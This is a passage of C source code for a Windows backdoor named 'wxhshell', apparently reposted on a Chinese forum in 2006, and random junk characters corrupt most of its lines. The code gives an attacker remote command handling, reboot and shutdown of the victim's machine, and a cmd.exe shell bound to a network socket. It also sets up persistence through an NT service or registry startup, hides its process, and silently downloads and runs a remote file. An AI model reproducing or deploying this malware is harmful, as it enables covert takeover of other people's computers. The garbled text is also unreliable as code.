  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B7QtB3bn  
  } %emPSBf@  
  else { ]> "/<"  
R5~vmT5W  
    switch(cmd[0]) { ;ZW}47:BS6  
  jgfP|oD  
  // 帮助 UHDI9>G~,  
  case '?': { u:>3j,Cs  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !-}*jm p<  
    break; >rX R;4%  
  } @%B!$\]  
  // 安装 sV4tu(~  
  case 'i': { j`&i4K:  
    if(Install()) ^Ypx|-Vu!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +53zI|I  
    else H\>I&gC'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1H@rNam&  
    break; )jZ=/ xG  
    } lM]),}   
  // 卸载 'C8=d(mR=m  
  case 'r': { ,(Hmk(,  
    if(Uninstall()) !`Yi{}1_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9Q5P7}%p  
    else Nk~dfY<s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wN0OAbtX'  
    break; qc4 "0Ap'  
    } .L|ax).D  
  // 显示 wxhshell 所在路径 (+v*u]w4  
  case 'p': { wuCtg=  
    char svExeFile[MAX_PATH]; [";5s&)q  
    strcpy(svExeFile,"\n\r"); 7%x+7  
      strcat(svExeFile,ExeFile); "ddH7:(k<  
        send(wsh,svExeFile,strlen(svExeFile),0); F!cAaL1  
    break; +g7nM7,1a  
    } 10C91/  
  // 重启 av$_hEjo|D  
  case 'b': { |MR?8A^"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  s !vROJ  
    if(Boot(REBOOT)) "jJ)hk5e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ])l[tVHm  
    else { sN) .Jo  
    closesocket(wsh); PvBbtC-9b  
    ExitThread(0); 3jVm[c5%]  
    } )'CEWc%  
    break; zjZTar1Re  
    } (#"s!!b  
  // 关机 m8A_P:MQq  
  case 'd': { aw~EK0yU   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZvKMRW  
    if(Boot(SHUTDOWN)) /'_ RI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /6*.%M>r  
    else { "4AQpD  
    closesocket(wsh); ^<Tp-,J$EN  
    ExitThread(0); G&H"8REm  
    } QYb?;Z  
    break; e%Xf*64  
    } j7 3@Yi%  
  // 获取shell PGhZ`nl  
  case 's': { !27]1%Aw  
    CmdShell(wsh); ll09j Ef  
    closesocket(wsh); (`Mz.VN  
    ExitThread(0); ?YykCJJ ~@  
    break; Cb-E<W&2D  
  } w[G_w:$a  
  // 退出 Z69 IHA[  
  case 'x': { bbkI}d%(Ng  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >U/g*[>  
    CloseIt(wsh); fb;"J+  
    break; |;-r};  
    } L2$L.@  
  // 离开 sYP@>tHC  
  case 'q': { /8HO7E+5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); OkUpgXU  
    closesocket(wsh); !Qzp!k9d  
    WSACleanup(); /j@r~mt/pA  
    exit(1); O; sQPG,v  
    break; <%7 V`,*g/  
        } cTTE] ix]  
  } )eMh,r  
  } )fL*Ws6  
Y/(-mcR  
  // 提示信息 e;[8 GE.   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,LO-!\L  
} B9-[wg#0G  
  } mcG$V0D <{  
]*U')  
  return; r,KK%B  
} -y.AJ~T  
*v3 |  
// shell模块句柄 ^eRT8I  
int CmdShell(SOCKET sock) AwrK82  
{ wO%:WL$5  
STARTUPINFO si; _If?&KJ r  
ZeroMemory(&si,sizeof(si)); v |2j~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;qK6."b`;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z$XpoDbOy  
PROCESS_INFORMATION ProcessInfo; <]^D({`  
char cmdline[]="cmd"; L:Eb(z/D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PtOnj)Q  
  return 0; KHN ,SB  
} d~8~RT2m  
 RZ%X1$  
// 自身启动模式 A$6b=2hc>  
int StartFromService(void) PlUjjJU  
{ H12@12v  
typedef struct 8E[`H  
{ 1z:N$O _v  
  DWORD ExitStatus; )c !S@Hs  
  DWORD PebBaseAddress; LL [>Uu?Y  
  DWORD AffinityMask; e6'O,\  
  DWORD BasePriority; TMsoQ82  
  ULONG UniqueProcessId; i8.[d5  
  ULONG InheritedFromUniqueProcessId; +cH(nZ*f  
}   PROCESS_BASIC_INFORMATION; 1D6O=j\  
\TlUC<urP  
PROCNTQSIP NtQueryInformationProcess; oy: MM  
2&URIQg*J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #{,IY03  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V/e_:xECC  
E%B Gf}h  
  HANDLE             hProcess; SqB|(~S  
  PROCESS_BASIC_INFORMATION pbi; D0i30p`  
+Bfi/>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N@)~j+Pz  
  if(NULL == hInst ) return 0; 2N 4>  
:5J6rj;_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3kY4V*9@-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >t(@?*ZFT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %'z3es0  
): C4}&l  
  if (!NtQueryInformationProcess) return 0; 3)SZVME1Z  
Q$j48,e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *xP:7K  
  if(!hProcess) return 0; ^ ni_%`Ag  
4N j?UDa  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hh&y2#Io  
5zOSb$;  
  CloseHandle(hProcess);  Jx w<*  
YYW70k:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); id'# s  
if(hProcess==NULL) return 0; Kf~+jYobO  
{E|gV9g  
HMODULE hMod; +~O{ UGB=  
char procName[255]; 2s%M,Nb  
unsigned long cbNeeded; NhX.yLb$   
k^jCB>b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s#ZH.z@J  
P.DWC'IBN  
  CloseHandle(hProcess); ?F{xDfqw  
'O9=*L) X  
if(strstr(procName,"services")) return 1; // 以服务启动 @x +#ZD(  
W^Y0>W~  
  return 0; // 注册表启动 ; bE6Y]"Rz  
} B$EP'5@b  
cU|jT8Q4H  
// 主模块 =U2n"du  
int StartWxhshell(LPSTR lpCmdLine) a*y mBGF  
{ ^^uD33@_  
  SOCKET wsl; +9CUnRv  
BOOL val=TRUE; |pSoBA9U  
  int port=0; IoOnS)  
  struct sockaddr_in door; GJPZ[bo  
qCN7i&k,  
  if(wscfg.ws_autoins) Install(); BxYA[#fd}  
Xm'K6JH'  
port=atoi(lpCmdLine); tb3fz")UC  
d.o FlT  
if(port<=0) port=wscfg.ws_port; ^iS:mt  
,$$$_+m\  
  WSADATA data; }4%)m  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \}NWR{=  
.+h pxZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Qpf]3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kH -b!  
  door.sin_family = AF_INET; 0u2uYiE-l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yVzg<%CR^  
  door.sin_port = htons(port); :G/]rDtd  
|LH*)GrD*t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uf] $@6)  
closesocket(wsl); vyGLn  
return 1; va2A@U  
} IQ~7vk()  
mkzk$_  
  if(listen(wsl,2) == INVALID_SOCKET) { =A 6O}0z  
closesocket(wsl); (OQ @!R&  
return 1; q.{/{9  
} 'fFdqsXr  
  Wxhshell(wsl); +Q0-jS#d  
  WSACleanup(); 4{t$M}?N  
2tm-:CPG  
return 0; tuV?:g?  
#!# X3j  
} vK`h;  
,8nZzVo  
// 以NT服务方式启动 9Ib(x0_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FH`&C*/F0Y  
{ m-92G8'  
DWORD   status = 0; <OSvRWP)  
  DWORD   specificError = 0xfffffff; 1[9j`~[([  
CT%m_lN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; eH/\7)z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; AiHf?"EVT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?u!AHSr(  
  serviceStatus.dwWin32ExitCode     = 0; bKZ#>%|:o  
  serviceStatus.dwServiceSpecificExitCode = 0; ^oO5t-9<!  
  serviceStatus.dwCheckPoint       = 0; vaJXX  
  serviceStatus.dwWaitHint       = 0; h ]$?~YE  
kA=~ 8N  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &novkkqY  
  if (hServiceStatusHandle==0) return; {bqKb=nyZ  
x]cZm^  
status = GetLastError(); 8lSn*;S,  
  if (status!=NO_ERROR) UC/2&7 ?  
{ <>Ddxmw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `h5eej&s(  
    serviceStatus.dwCheckPoint       = 0; L#q9_-(#  
    serviceStatus.dwWaitHint       = 0; x`vs-Y:P  
    serviceStatus.dwWin32ExitCode     = status; : ";D.{||  
    serviceStatus.dwServiceSpecificExitCode = specificError; ! H=k7s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #ic 2ofI  
    return; g~:(EO(w  
  } C-^%g [#  
e`M]ZG rr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9Ru%E>el-  
  serviceStatus.dwCheckPoint       = 0; 9|A-oS  
  serviceStatus.dwWaitHint       = 0; &ntP~!w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 13_~)V  
} 15o *r  
_D,f 4.R  
// 处理NT服务事件,比如:启动、停止 mX.3R+t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) VD3MJ8!w  
{ %7d@+ .  
switch(fdwControl) 3b\8907  
{ mCNf]Yz  
case SERVICE_CONTROL_STOP: 1za'u_  
  serviceStatus.dwWin32ExitCode = 0; ,xD*^>!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x$ J.SbW  
  serviceStatus.dwCheckPoint   = 0; *@n3>$  
  serviceStatus.dwWaitHint     = 0; iZ6C8HK&&  
  { s_Oh >y?Aq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;Pqyu ?  
  } q&d&#3Rh  
  return; 3H}~eEg,  
case SERVICE_CONTROL_PAUSE: 7e{X$'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SA+%c)j29  
  break; J$9xC{L4  
case SERVICE_CONTROL_CONTINUE: AKC foJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K0RYI69_  
  break; Dq%r !)  
case SERVICE_CONTROL_INTERROGATE: ^!p<zZ  
  break; VFmg"^k5  
}; xD= qU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _Z66[T+M  
} KD"&_PX  
OWXye4`*  
// 标准应用程序主函数 % X ,B-h^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^&';\O@)  
{ *(&ClUQQ  
Xtu`5p_Qv  
// 获取操作系统版本 tGO[A#9a  
OsIsNt=GetOsVer(); ^A "lkV7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K l0tyeT  
-wRyMY_ D  
  // 从命令行安装 +>WC^s  
  if(strpbrk(lpCmdLine,"iI")) Install(); qz=#;&ZU  
<r+!hJ[s'  
  // 下载执行文件 ,*nZf|  
if(wscfg.ws_downexe) { m$E^u[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xV>iL(?  
  WinExec(wscfg.ws_filenam,SW_HIDE); [b i3%yWh  
} XL7;^AE^Wl  
_95}ifSVm  
if(!OsIsNt) { NBqV0>vR  
// 如果时win9x,隐藏进程并且设置为注册表启动 gAr`hXO  
HideProc(); _{c|o{2sj  
StartWxhshell(lpCmdLine); /#qs(! d  
} "?eH=!  
else !(]dz~sM  
  if(StartFromService()) ,v}?{p c  
  // 以服务方式启动 Q%n{*py  
  StartServiceCtrlDispatcher(DispatchTable); +r-dr>&H@  
else Rg?{?qK\K  
  // 普通方式启动 S\3AW,c]w  
  StartWxhshell(lpCmdLine); # NN"(I  
G V:$;  
return 0; EAD0<I<>  
}
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只看该作者 1 发表于: 2006-10-10
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